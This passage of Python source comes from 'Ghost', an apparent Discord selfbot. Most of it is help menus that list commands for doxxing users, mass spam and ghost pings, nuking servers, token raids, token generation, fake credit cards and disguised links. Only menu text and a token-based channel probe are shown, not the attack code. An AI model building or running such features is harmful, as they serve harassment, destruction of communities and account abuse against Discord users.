d out. {Ghost.command_prefix}lowercase [msg] » Send your message in lowercase. {Ghost.command_prefix}uppercase [msg] » Send your message in uppercase. {Ghost.command_prefix}sentencecase [msg] » Send your messages in sentence case. {Ghost.command_prefix}ascii [text] » Send your message in ascii. {Ghost.command_prefix}zalgo [text] » Unleash the zalgo into your message. {Ghost.command_prefix}leet [text] » Turn your text into 1337 text. {Ghost.command_prefix}fakeedited [message] » "Edit" a message. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="fun", description="Fun related commands.", usage="fun") async def fun(ctx, page:int = 1): if __embedmode__: if page == 1: embed = discord.Embed(title=f"{__embedemoji__} **{__embedtitle__}** {__embedemoji__}", color=__embedcolour__, description=f""" `{Ghost.command_prefix}`**slots** » Play the slot machine. `{Ghost.command_prefix}`**yomomma** » Random yo momma joke. `{Ghost.command_prefix}`**socialcredit [@user]** » A users social credit score. `{Ghost.command_prefix}`**roast [@user]** » Roast a user. `{Ghost.command_prefix}`**howgay [@user]** » How gay a user is. `{Ghost.command_prefix}`**howskid [@user]** » Check the percentage of a skid. `{Ghost.command_prefix}`**iq [@user]** » Check how smart a user is. `{Ghost.command_prefix}`**pp [@user]** » The length of a user's penis. `{Ghost.command_prefix}`**rainbowrole [@role]** » Kill Discord's API with a sexy rainbow role. `{Ghost.command_prefix}`**coinflip** » Flip a coin. `{Ghost.command_prefix}`**dice** » Roll a dice. `{Ghost.command_prefix}`**8ball [question]** » Ask the magic eight ball a question. `{Ghost.command_prefix}`**choice [choice1] [choice2]** » Pick a random choice. `{Ghost.command_prefix}`**dox [@user]** » Dox the mentioned user. `{Ghost.command_prefix}`**fakenitro [url]** » Hide a link in a nitro URL. `{Ghost.command_prefix}`**purgehack** » Purge without permissions. `{Ghost.command_prefix}`**dadjoke** » A random dad joke. `{Ghost.command_prefix}`**randommessage** » A random message. `{Ghost.command_prefix}`**randomquestion** » A random question. `{Ghost.command_prefix}`**rickroll** » Send never gonna give you up lyrics one by one. `{Ghost.command_prefix}`**stoprickroll** » Stop sending rick astley lyrics. `{Ghost.command_prefix}`**countdown [number]** » Count down from a number. `{Ghost.command_prefix}`**countup [number]** » Count up from a number. `{Ghost.command_prefix}`**pytoexe [path]** » Convert a PY file to an executable. """) embed.set_author(name="Fun Commands (1/1)") embed.set_thumbnail(url=__embedimage__) embed.set_image(url=__embedlargeimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: pass else: await ctx.send(f"""```ini [ Fun Commands ] {Ghost.command_prefix}slots » Play the slot machine. {Ghost.command_prefix}yomomma » Random yo momma joke. {Ghost.command_prefix}socialcredit [@user] » A users social credit score. {Ghost.command_prefix}roast [@user] » Roast a user. {Ghost.command_prefix}howgay [@user] » How gay a user is. {Ghost.command_prefix}howskid [@user] » Check the percentage of a skid. {Ghost.command_prefix}iq [@user] » Check how smart a user is. {Ghost.command_prefix}pp [@user] » The length of a user's penis. {Ghost.command_prefix}rainbowrole [@role] » Kill Discord's API with a sexy rainbow role. {Ghost.command_prefix}coinflip » Flip a coin. {Ghost.command_prefix}dice » Roll a dice. {Ghost.command_prefix}8ball [question] » Ask the magic eight ball a question. {Ghost.command_prefix}choice [choice1] [choice2] » Pick a random choice. {Ghost.command_prefix}dox [@user] » Dox the mentioned user. {Ghost.command_prefix}fakenitro [url] » Hide a link in a nitro URL. {Ghost.command_prefix}purgehack » Purge without permissions. {Ghost.command_prefix}dadjoke » A random dad joke. {Ghost.command_prefix}randommessage » A random message. {Ghost.command_prefix}randomquestion » A random question. {Ghost.command_prefix}rickroll » Send never gonna give you up lyrics one by one. {Ghost.command_prefix}stoprickroll » Stop sending rick astley lyrics. {Ghost.command_prefix}countdown [number] » Count down from a number. {Ghost.command_prefix}countup [number] » Count up from a number. {Ghost.command_prefix}pytoexe [path] » Convert a PY file to an executable. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="image", description="Image related commands.", usage="image") async def image(ctx, page:int = 1): if __embedmode__: if page == 1: embed = discord.Embed(title=f"{__embedemoji__} **{__embedtitle__}** {__embedemoji__}", color=__embedcolour__, description=f""" `{Ghost.command_prefix}`**meme** » A random meme. `{Ghost.command_prefix}`**cat** » A random cat image. `{Ghost.command_prefix}`**dog** » A random dog image. `{Ghost.command_prefix}`**shiba** » A random shiba image. `{Ghost.command_prefix}`**fox** » A random fox image. (Thanks Imf44 <3) `{Ghost.command_prefix}`**avatar [@user]** » Get the mentioned user's avatar. `{Ghost.command_prefix}`**servericon** » Get the server's icon. `{Ghost.command_prefix}`**achievement ["text"] (icon)** » Create a fake minecraft achievement image. `{Ghost.command_prefix}`**challenge ["text"] (icon)** » Create a fake minecraft challenge image. `{Ghost.command_prefix}`**captcha [text]** » Create a fake reCaptcha. `{Ghost.command_prefix}`**amiajoke [@user]** » Make a user a joke. `{Ghost.command_prefix}`**didyoumean ["text 1"] ["text 2"]** » Create a google did you mean image. `{Ghost.command_prefix}`**drake ["text 1"] ["text 2"]** » Create a drake meme image. `{Ghost.command_prefix}`**facts [text]** » Create a facts meme image. `{Ghost.command_prefix}`**jokeoverhead [image url]** » Create a joke over head image. `{Ghost.command_prefix}`**pornhub ["text 1"] ["text 2"]** » Create a pornhub logo image. `{Ghost.command_prefix}`**salty [@user]** » Make someone salty. `{Ghost.command_prefix}`**ship [@user 1] [@user 2]** » Ship two people. `{Ghost.command_prefix}`**supreme [text]** » Create a supreme logo image. `{Ghost.command_prefix}`**trash [@user]** » Put someone in the trash. `{Ghost.command_prefix}`**what [image url]** » Make a what meme. """) embed.set_author(name="Image Commands (1/1)") embed.set_thumbnail(url=__embedimage__) embed.set_image(url=__embedlargeimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: pass else: await ctx.send(f"""```ini [ Image Commands ] {Ghost.command_prefix}meme » A random meme. {Ghost.command_prefix}cat » A random cat image. {Ghost.command_prefix}dog » A random dog image. {Ghost.command_prefix}shiba » A random shiba image. {Ghost.command_prefix}fox » A random fox image. (Thanks Imf44 <3) {Ghost.command_prefix}avatar [@user] » Get the mentioned user's avatar. {Ghost.command_prefix}servericon » Get the server's icon. {Ghost.command_prefix}achievement ["text"] (icon) » Create a fake minecraft achievement image. {Ghost.command_prefix}challenge ["text"] (icon) » Create a fake minecraft challenge image. {Ghost.command_prefix}captcha [text] » Create a fake reCaptcha. {Ghost.command_prefix}amiajoke [@user] » Make a user a joke. {Ghost.command_prefix}didyoumean ["text 1"] ["text 2"] » Create a google did you mean image. {Ghost.command_prefix}drake ["text 1"] ["text 2"] » Create a drake meme image. {Ghost.command_prefix}facts [text] » Create a facts meme image. {Ghost.command_prefix}jokeoverhead [image url] » Create a joke over head image. {Ghost.command_prefix}pornhub ["text 1"] ["text 2"] » Create a pornhub logo image. {Ghost.command_prefix}salty [@user] » Make someone salty. {Ghost.command_prefix}ship [@user 1] [@user 2] » Ship two people. {Ghost.command_prefix}supreme [text] » Create a supreme logo image. {Ghost.command_prefix}trash [@user] » Put someone in the trash. {Ghost.command_prefix}what [image url] » Make a what meme. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="nsfw", description="NSFW related commands.", usage="nsfw") async def nsfw(ctx, page:int = 1): if __embedmode__: if page == 1: embed = discord.Embed(title=f"{__embedemoji__} **{__embedtitle__}** {__embedemoji__}", color=__embedcolour__, description=f""" `{Ghost.command_prefix}`**boobs** » Pictures or videos of boobs. `{Ghost.command_prefix}`**ass** » Pictures or videos of ass. `{Ghost.command_prefix}`**pussy** » Pictures or videos of pussy. `{Ghost.command_prefix}`**porngif** » Porn gifs. `{Ghost.command_prefix}`**hentai** » Pictures or videos of hentai. """) embed.set_author(name="NSFW Commands (1/1)") embed.set_thumbnail(url=__embedimage__) embed.set_image(url=__embedlargeimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: pass else: await ctx.send(f"""```ini [ NSFW Commands ] {Ghost.command_prefix}boobs » Pictures or videos of boobs. {Ghost.command_prefix}ass » Pictures or videos of ass. {Ghost.command_prefix}pussy » Pictures or videos of pussy. {Ghost.command_prefix}porngif » Porn gifs. {Ghost.command_prefix}hentai » Pictures or videos of hentai. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="moderation", description="Moderation related commands.", usage="moderation") async def moderation(ctx, page:int = 1): if __embedmode__: if page == 1: embed = discord.Embed(title=f"{__embedemoji__} **{__embedtitle__}** {__embedemoji__}", color=__embedcolour__, description=f""" `{Ghost.command_prefix}`**ban [@user]** » Ban the mentioned user. `{Ghost.command_prefix}`**unban [id]** » Unban the mentioned id. `{Ghost.command_prefix}`**banlist** » See the server's ban list. `{Ghost.command_prefix}`**kick [@user]** » Kick the mentioned user. `{Ghost.command_prefix}`**mute [@user]** » Mute the menitioned user. `{Ghost.command_prefix}`**unmute [@user]** » Unmute the mentioned user. `{Ghost.command_prefix}`**newrole [name]** » Create a new role. `{Ghost.command_prefix}`**delrole [@role]** » Delete the mentioned role. `{Ghost.command_prefix}`**purge [amount]** » Purge X amount of messages. `{Ghost.command_prefix}`**lock** » Lock the command channel. `{Ghost.command_prefix}`**unlock** » Unlock the command channel. `{Ghost.command_prefix}`**lockdown** » Lock the entire server. `{Ghost.command_prefix}`**unlockdown** » Unlock the entire server. `{Ghost.command_prefix}`**spacechannel [channel name]** » Create a channel with spaces. """) embed.set_author(name="Moderation Commands (1/1)") embed.set_thumbnail(url=__embedimage__) embed.set_image(url=__embedlargeimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: pass else: await ctx.send(f"""```ini [ Moderation Commands ] {Ghost.command_prefix}ban [@user] » Ban the mentioned user. {Ghost.command_prefix}unban [id] » Unban the mentioned id. {Ghost.command_prefix}banlist » See the server's ban list. {Ghost.command_prefix}kick [@user] » Kick the mentioned user. {Ghost.command_prefix}mute [@user] » Mute the menitioned user. {Ghost.command_prefix}unmute [@user] » Unmute the mentioned user. {Ghost.command_prefix}newrole [name] » Create a new role. {Ghost.command_prefix}delrole [@role] » Delete the mentioned role. {Ghost.command_prefix}purge [amount] » Purge X amount of messages. {Ghost.command_prefix}lock » Lock the command channel. {Ghost.command_prefix}unlock » Unlock the command channel. {Ghost.command_prefix}lockdown » Lock the entire server. {Ghost.command_prefix}unlockdown » Unlock the entire server. {Ghost.command_prefix}spacechannel [channel name] » Create a channel with spaces. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="info", description="Info related commands.", usage="info") async def info(ctx, page:int = 1): if __embedmode__: if page == 1: embed = discord.Embed(title=f"{__embedemoji__} **{__embedtitle__}** {__embedemoji__}", color=__embedcolour__, description=f""" `{Ghost.command_prefix}`**userinfo [@user]** » Information about the mentioned user. `{Ghost.command_prefix}`**serverinfo** » Information about the command server. `{Ghost.command_prefix}`**watchdogstats** » Get stats about Hypixel's Anticheat, Watchdog. `{Ghost.command_prefix}`**getmessage [message id]** » Get a message by ID. `{Ghost.command_prefix}`**geoip [ip]** » Get information from an IP address. `{Ghost.command_prefix}`**ping [ip/domain]** » Ping a domain or ip address. `{Ghost.command_prefix}`**crypto [currency]** » Get the current data on a cryptocurrency. """) embed.set_author(name="Info Commands (1/1)") embed.set_thumbnail(url=__embedimage__) embed.set_image(url=__embedlargeimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: pass else: await ctx.send(f"""```ini [ Info Commands ] {Ghost.command_prefix}userinfo [@user] » Information about the mentioned user. {Ghost.command_prefix}serverinfo » Information about the command server. {Ghost.command_prefix}watchdogstats » Get stats about Hypixel's Anticheat, Watchdog. {Ghost.command_prefix}getmessage [message id] » Get a message by ID. {Ghost.command_prefix}geoip [ip] » Get information from an IP address. {Ghost.command_prefix}ping [ip/domain] » Ping a domain or ip address. {Ghost.command_prefix}crypto [currency] » Get the current data on a cryptocurrency. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="user", description="User related commands.", usage="user") async def user(ctx, page:int = 1): if __embedmode__: if page == 1: embed = discord.Embed(title=f"{__embedemoji__} **{__embedtitle__}** {__embedemoji__}", color=__embedcolour__, description=f""" `{Ghost.command_prefix}`**purgeself [amount]** » Purge your messages. `{Ghost.command_prefix}`**statuscycle** » Start a custom status cycle. `{Ghost.command_prefix}`**statuscycletext [text]** » Set the text used in status cycle. `{Ghost.command_prefix}`**clearstatus** » Clear your status. `{Ghost.command_prefix}`**nickname [text]** » Set your nickname to anything. `{Ghost.command_prefix}`**clearnickname** » Clear your nickname. `{Ghost.command_prefix}`**ppin [message id]** » Add a message to your personal pins. `{Ghost.command_prefix}`**ppins** » List all your pinned messages. `{Ghost.command_prefix}`**ppindel [pin id]** » Delete a pin from your personal pins. `{Ghost.command_prefix}`**backupfriends** » Backup all your friend's user IDs to a file. `{Ghost.command_prefix}`**backupservers** » Backup all your servers and try to create invites for each one. `{Ghost.command_prefix}`**changehypesquad [bravery/brilliance/balance]** » Change your hypesquad house. `{Ghost.command_prefix}`**stealpfp [@user]** » Set someones avatar as your avatar. """) embed.set_author(name="User Commands (1/1)") embed.set_thumbnail(url=__embedimage__) embed.set_image(url=__embedlargeimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: pass else: await ctx.send(f"""```ini [ User Commands ] {Ghost.command_prefix}purgeself [amount] » Purge your messages. {Ghost.command_prefix}statuscycle » Start a custom status cycle. {Ghost.command_prefix}statuscycletext [text] » Set the text used in status cycle. {Ghost.command_prefix}clearstatus » Clear your status. {Ghost.command_prefix}nickname [text] » Set your nickname to anything. {Ghost.command_prefix}clearnickname » Clear your nickname. {Ghost.command_prefix}ppin [message id] » Add a message to your personal pins. {Ghost.command_prefix}ppins » List all your pinned messages. {Ghost.command_prefix}ppindel [pin id] » Delete a pin from your personal pins. {Ghost.command_prefix}backupfriends » Backup all your friend's user IDs to a file. {Ghost.command_prefix}backupservers » Backup all your servers and try to create invites for each one. {Ghost.command_prefix}changehypesquad [bravery/brilliance/balance] » Change your hypesquad house. {Ghost.command_prefix}stealpfp [@user] » Set someones avatar as your avatar. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="selfbot", description="Selfbot related commands.", usage="selfbot") async def selfbot(ctx, page:int = 1): if __embedmode__: if page == 1: embed = discord.Embed(title=f"{__embedemoji__} **{__embedtitle__}** {__embedemoji__}", color=__embedcolour__, description=f""" `{Ghost.command_prefix}`**afkmode** » Toggle afk mode. `{Ghost.command_prefix}`**settings** » The bot's settings. `{Ghost.command_prefix}`**restart** » Restart Ghost selfbot. `{Ghost.command_prefix}`**prefix [prefix]** » Set the command prefix. `{Ghost.command_prefix}`**dumpchat [amount] (channel id) (oldest first, true/false)** » Get the chat's history. `{Ghost.command_prefix}`**invite** » Get Ghost's Discord server invite link. `{Ghost.command_prefix}`**addccmd [name] [response]** » Add a custom command. `{Ghost.command_prefix}`**enablesniper [type, nitro/privnote/giveaway]** » Enable a sniper. `{Ghost.command_prefix}`**disablesniper [type, nitro/privnote/giveaway]** » Disable a sniper. `{Ghost.command_prefix}`**enabledetect [type, selfbot/..]** » Enable a detection. `{Ghost.command_prefix}`**disabledetect [type, selfbot/..]** » Disable a detection. `{Ghost.command_prefix}`**riskmode** » Disable and enable risk mode """) embed.set_author(name="Selfbot Commands (1/1)") embed.set_thumbnail(url=__embedimage__) embed.set_image(url=__embedlargeimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: pass else: await ctx.send(f"""```ini [ Selfbot Commands ] {Ghost.command_prefix}settings » The bot's settings. {Ghost.command_prefix}restart » Restart Ghost selfbot. {Ghost.command_prefix}prefix [prefix] » Set the command prefix. {Ghost.command_prefix}dumpchat [amount] (channel id) (oldest first, true/false) » Get the chat's history. {Ghost.command_prefix}invite » Get Ghost's Discord server invite link. {Ghost.command_prefix}addccmd [name] [response] » Add a custom command. {Ghost.command_prefix}enablesniper [type, nitro/privnote/giveaway] » Enable a sniper. {Ghost.command_prefix}disablesniper [type, nitro/privnote/giveaway] » Disable a sniper. {Ghost.command_prefix}enabledetect [type, selfbot/..] » Enable a detection. {Ghost.command_prefix}disabledetect [type, selfbot/..] » Disable a detection. {Ghost.command_prefix}riskmode » Disable and enable risk mode # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="webhook", description="Webhook related commands.", usage="webhook") async def webhook(ctx, page:int = 1): if __embedmode__: if page == 1: embed = discord.Embed(title=f"{__embedemoji__} **{__embedtitle__}** {__embedemoji__}", color=__embedcolour__, description=f""" `{Ghost.command_prefix}`**delwebhook [id]** » Delete a webhook from the ID. `{Ghost.command_prefix}`**newwebhook [name]** » Create a webhook in the command channel. `{Ghost.command_prefix}`**spamwebhook [amount] [url] (message)** » Spam the shit out of a webhook. `{Ghost.command_prefix}`**webhooksetup** » Creates a new server with webhooks. `{Ghost.command_prefix}`**webhookinfo [id]** » Information about the webhook. """) embed.set_author(name="Webhook Commands (1/1)") embed.set_thumbnail(url=__embedimage__) embed.set_image(url=__embedlargeimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: pass else: await ctx.send(f"""```ini [ Webhook Commands ] {Ghost.command_prefix}delwebhook [id] » Delete a webhook from the ID. {Ghost.command_prefix}newwebhook [name] » Create a webhook in the command channel. {Ghost.command_prefix}spamwebhook [amount] [url] (message) » Spam the shit out of a webhook. {Ghost.command_prefix}webhooksetup » Creates a new server with webhooks. {Ghost.command_prefix}webhookinfo [id] » Information about the webhook. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="abuse", description="Abuse related commands.", usage="abuse") async def abuse(ctx, page:int = 1): if __riskmode__: if __embedmode__: if page == 1: embed = discord.Embed(title=f"{__embedemoji__} **{__embedtitle__}** {__embedemoji__}", color=__embedcolour__, description=f""" `{Ghost.command_prefix}`**spam [amount] [delay] [message]** » Spam X amount of times. `{Ghost.command_prefix}`**stopspam** » Stop spamming messages. `{Ghost.command_prefix}`**dmspam [amount] [delay] [@user] [message]** » Spam DM messages X amount of times. `{Ghost.command_prefix}`**channelspam [amount] [delay] [message]** » Spam a message X amount of times in every channel. `{Ghost.command_prefix}`**threadspam [delay] [amount] [addusers | true/false] [name] [startmessage]** » Spam create threads with a starting message. `{Ghost.command_prefix}`**ttsspam [amount] [delay] [message]** » Spam TTS messages X amount of times. `{Ghost.command_prefix}`**reactspam [emoji] [messages]** » Spam reactions on X amount of messages. `{Ghost.command_prefix}`**massghostping [delay] [@user]** » Ghost Ping the user in every channel. `{Ghost.command_prefix}`**ghostping [@user]** » Ping a user then delete the message. `{Ghost.command_prefix}`**massping (amount of messages) (send delay)** » Ping a mass amount of people in the command server. `{Ghost.command_prefix}`**massnick [nickname]** » Change the nickname of all members in the command server. `{Ghost.command_prefix}`**massdm [delay] [amount] [message]** » Send a DM message to everyone in the server. `{Ghost.command_prefix}`**nukeserver** » Delete all roles and channels in the command server. `{Ghost.command_prefix}`**destroyserver** » Completely destroy the command server. `{Ghost.command_prefix}`**deletechannels** » Delete all of the command server's channels. `{Ghost.command_prefix}`**deleteroles** » Delete all of the command server's roles. `{Ghost.command_prefix}`**spamchannels [amount] (name)** » Spam create channels with a desired name. (Thanks Port <3) `{Ghost.command_prefix}`**spamroles [amount] (name)** » Spam create roles with a desired name. `{Ghost.command_prefix}`**raidjoin [delay] [invite]** » Make all your account tokens join a server. `{Ghost.command_prefix}`**tokenraid [amount] [channel id] (message)** » Raid a server with all your account tokens. `{Ghost.command_prefix}`**massban** » Ban all the members in the command server. `{Ghost.command_prefix}`**masskick** » Kick all the members in the command server. """) embed.set_author(name="Abuse Commands (1/1)") embed.set_thumbnail(url=__embedimage__) embed.set_image(url=__embedlargeimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: pass else: await ctx.send(f"""```ini [ Abuse Commands ] {Ghost.command_prefix}spam [amount] [delay] [message] » Spam X amount of times. {Ghost.command_prefix}stopspam » Stop spamming messages. {Ghost.command_prefix}dmspam [amount] [delay] [@user] [message] » Spam DM messages X amount of times. {Ghost.command_prefix}channelspam [amount] [delay] [message] » Spam X amount of times in all channels. {Ghost.command_prefix}threadspam [delay] [amount] [name] [startmessage] » Spam create threads with a starting message. {Ghost.command_prefix}ttsspam [amount] [delay] [message] » Spam TTS messages X amount of times. {Ghost.command_prefix}reactspam [emoji] [messages] » Spam reactions on X amount of messages. {Ghost.command_prefix}massghostping [delay] [@user] » Ghost Ping the user in every channel. {Ghost.command_prefix}ghostping [@user] » Ping a user then delete the message. {Ghost.command_prefix}massping » Ping a mass amount of people in the command server. {Ghost.command_prefix}massnick [nickname] » Change the nickname of all members in the command server. {Ghost.command_prefix}massdm [delay] [amount] [message] » Send a DM message to everyone in the server. {Ghost.command_prefix}nukeserver » Delete all roles and channels in the command server. {Ghost.command_prefix}destroyserver » Completely destroy the command server. {Ghost.command_prefix}deletechannels » Delete all of the command server's channels. {Ghost.command_prefix}deleteroles » Delete all of the command server's roles. {Ghost.command_prefix}spamchannels [amount] (name) » Spam create channels with a desired name. (Thanks Port <3) {Ghost.command_prefix}spamroles [amount] (name) » Spam create roles with a desired name. {Ghost.command_prefix}raidjoin [delay] [invite] » Make all your account tokens join a server. {Ghost.command_prefix}tokenraid [amount] [channel id] (message) » Raid a server with all your account tokens. {Ghost.command_prefix}massban » Ban all the members in the command server. {Ghost.command_prefix}masskick » Kick all the members in the command server. # {__embedfooter__}```""", delete_after=__deletetimeout__) else: if __embedmode__: embed = discord.Embed(title=f"Abusive Commands", color=__embedcolour__, description=f"You have risk mode disabled, you cant use this command.") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Abuse Commands ] You have risk mode disabled, you cant use this command. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="tools", description="Discord and other tools.", usage="tools") async def tools(ctx, page:int = 1): if __embedmode__: if page == 1: embed = discord.Embed(title=f"{__embedemoji__} **{__embedtitle__}** {__embedemoji__}", color=__embedcolour__, description=f""" `{Ghost.command_prefix}`**tokeninfo [token]** » Information about a token. `{Ghost.command_prefix}`**nuketoken [token]** » Nuke a token. `{Ghost.command_prefix}`**checktoken [token]** » Checks if a token is working. `{Ghost.command_prefix}`**checktokens** » Check your tokens. `{Ghost.command_prefix}`**nitrogen** » Generate a nitro code. `{Ghost.command_prefix}`**tokengen** » Generate a discord user token. `{Ghost.command_prefix}`**identitygen** » Generate a fake identity. `{Ghost.command_prefix}`**passwordgen [length]** » Generate a secure password. `{Ghost.command_prefix}`**ccgen** » Generate a fake Credit card. """) embed.set_author(name="Tools (1/1)") embed.set_thumbnail(url=__embedimage__) embed.set_image(url=__embedlargeimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: pass else: await ctx.send(f"""```ini [ Tools ] {Ghost.command_prefix}tokeninfo [token] » Information about a token. {Ghost.command_prefix}nuketoken [token] » Nuke a token. {Ghost.command_prefix}checktoken [token] » Checks if a token is working. {Ghost.command_prefix}checktokens » Check your tokens. {Ghost.command_prefix}nitrogen » Generate a nitro code. {Ghost.command_prefix}tokengen » Generate a discord user token. {Ghost.command_prefix}identitygen » Generate a fake identity. {Ghost.command_prefix}passwordgen [length] » Generate a secure password. {Ghost.command_prefix}ccgen » Generate a fake Credit card. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="giveaway", description="Giveaway related commands.", usage="giveaway") async def giveaway(ctx, page:int = 1): if __embedmode__: if page == 1: embed = discord.Embed(title=f"{__embedemoji__} **{__embedtitle__}** {__embedemoji__}", color=__embedcolour__, description=f""" `{Ghost.command_prefix}`**gstart [duration] [winners] [prize]** » Start a giveaway in the same channel `{Ghost.command_prefix}`**gend [message id]** » End a giveaway `{Ghost.command_prefix}`**greroll [message id]** » Re-roll a giveaway """) embed.set_author(name="Giveaway Commands (1/1)") embed.set_thumbnail(url=__embedimage__) embed.set_image(url=__embedlargeimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: pass else: await ctx.send(f"""```ini [ Giveaway Commands ] {Ghost.command_prefix}gstart [duration] [winners] [prize] » Start a giveaway in the same channel {Ghost.command_prefix}gend [message id] » End a giveaway {Ghost.command_prefix}greroll [message id] » Re-roll a giveaway # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="proxy", description="Proxy related commands.", usage="proxy") async def proxy(ctx, page:int=1): if __embedmode__: if page == 1: embed = discord.Embed(title=f"{__embedemoji__} **{__embedtitle__}** {__embedemoji__}", color=__embedcolour__, description=f""" `{Ghost.command_prefix}`**proxies http** » Scrape HTTP proxies. `{Ghost.command_prefix}`**proxies https** » Scrape HTTPS proxies. `{Ghost.command_prefix}`**proxies socks4** » Scrape SOCKS4 proxies. `{Ghost.command_prefix}`**proxies socks5** » Scrape SOCKS5 proxies. `{Ghost.command_prefix}`**proxies all** » Scrape HTTP, HTTPS, SOCKS4 AND SOCKS5 proxies. """) embed.set_author(name="Proxy Commands (1/1)") embed.set_thumbnail(url=__embedimage__) embed.set_image(url=__embedlargeimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: pass else: await ctx.send(f"""```ini [ Proxy Commands ] {Ghost.command_prefix}proxies http » Scrape HTTP proxies. {Ghost.command_prefix}proxies https » Scrape HTTPS proxies. {Ghost.command_prefix}proxies socks4 » Scrape SOCKS4 proxies. {Ghost.command_prefix}proxies socks5 » Scrape SOCKS5 proxies. {Ghost.command_prefix}proxies all » Scrape HTTP, HTTPS, SOCKS4 AND SOCKS5 proxies. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="hiddenchannels", description="Sends a list of all the channels you cant see.", usage="hiddenchannels (guild id)") async def hiddenchannels(ctx, guild=None): if guild == None: guild = ctx.guild else: guild = await Ghost.fetch_guild(int(guild)) hiddenChannels = [] message = await ctx.send("Looking for hidden channels, this could take a while...") for channel in guild.channels: if str(channel.type).lower() != "category": request = requests.get(f"https://discord.com/api/channels/{channel.id}", headers={"Authorization": __token__, "User-Agent": get_random_user_agent()}) if request.status_code != 200: if __embedmode__: hiddenChannels.append("#"+channel.name) else: hiddenChannels.append(channel.name) print_info(f"{channel.name} is hidden.") else: print_info(f"{channel.name} is not hidden.") # await asyncio.sleep(1) if __embedmode__: embed = discord.Embed(title=f"Hidden Channels", description=f"There is a total of `{len(hiddenChannels)}` hidden channels.\n \n```{', '.join(hiddenChannels)}```", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await message.edit(content="", embed=embed, delete_after=__deletetimeout__) else: await message.edit(content=f"""```ini [ Hidden Channels ] There is a total of {len(hiddenChannels)} hidden channels. {', '.join(hiddenChannels)} # {__embedfooter__} ```""", delete_after=__deletetimeout__) @Ghost.command(name="clearconsole", description="Clear your console.", usage="clearconsole", aliases=["resetconsole", "consoleclear", "consolereset"]) async def clearconsole(ctx): width = os.get_terminal_size().columns if is_windows(): os.system("cls") os.system(f"title Ghost [{version}] [{Ghost.user}]") # if is_windows(): # def startupPath(): # return str(shell.SHGetFolderPath(0, (shellcon.CSIDL_STARTUP, shellcon.CSIDL_COMMON_STARTUP)[0], None, 0)) # os.system("cls") # os.system(f"title Ghost [{version}] [{Ghost.user}]") # if (CONFIG["load_on_startup"] == True): # print("Adding to startup.......") # USER_NAME = getpass.getuser() # def add_to_startup(file_path=""): # if file_path == "": # file_path = os.path.dirname(os.path.realpath(__file__)) # bat_file = open(startupPath() + r"\\Ghost.bat", "w") # bat_file.write(f"cd {file_path}\nstart Ghost") # bat_file.close() # add_to_startup() # else: # print("Removing from startup......") # if os.path.exists(startupPath() + r"\\Ghost.bat"): os.remove(startupPath() + r"\\Ghost.bat"); # os.system("cls") if is_linux(): os.system("clear") if consoleMode.lower() == "new": print("") print(fg.consoleColour + "") print(" ██████╗ ██╗ ██╗ ██████╗ ███████╗████████╗".center(width)) print("██╔════╝ ██║ ██║██╔═══██╗██╔════╝╚══██╔══╝".center(width)) print("██║ ███╗███████║██║ ██║███████╗ ██║ ".center(width)) print("██║ ██║██╔══██║██║ ██║╚════██║ ██║ ".center(width)) print("╚██████╔╝██║ ██║╚██████╔╝███████║ ██║ ".center(width)) print(" ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═╝ ".center(width)) print("") print(fg.cWhite + f"{motd}".center(width)) print(fg.consoleColour + '─'*width) print("") if consoleMode.lower() == "rainbow": print("") print(fg.consoleColour + "") print(fg.cRed + " ██████╗ ██╗ ██╗ ██████╗ ███████╗████████╗".center(width)) print(fg.cOrange + "██╔════╝ ██║ 